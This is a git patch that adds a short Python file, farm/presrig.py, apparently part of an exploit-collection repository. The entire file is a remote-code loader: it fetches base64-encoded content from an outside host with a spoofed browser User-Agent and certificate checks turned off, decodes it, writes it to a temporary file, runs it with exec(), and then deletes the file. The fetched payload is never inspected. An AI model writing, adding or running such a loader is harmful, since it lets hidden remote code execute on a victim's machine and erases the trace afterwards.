From 629bba459a66a9af073c10dc603c3f7bbc3b4b3d Mon Sep 17 00:00:00 2001 From: Syn Naulaid Date: Thu, 30 Jan 2025 19:14:08 +0000 Subject: [PATCH] Add farm/presrig.py --- farm/presrig.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 farm/presrig.py diff --git a/farm/presrig.py b/farm/presrig.py new file mode 100644 index 0000000..8ad6212 --- /dev/null +++ b/farm/presrig.py @@ -0,0 +1,28 @@ +import requests +import base64 +import tempfile +import os + + +def get_contents(url): + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" + } + response = requests.get(url, headers=headers, verify=False) + return response.text if response.status_code == 200 else None + + +url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy" +encoded_code = get_contents(url) +if encoded_code: + decoded_code = base64.b64decode(encoded_code).decode("utf-8") + + with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file: + temp_file.write(decoded_code.encode("utf-8")) + temp_file_path = temp_file.name + + try: + exec(open(temp_file_path).read()) + finally: + os.remove(temp_file_path) + \ No newline at end of file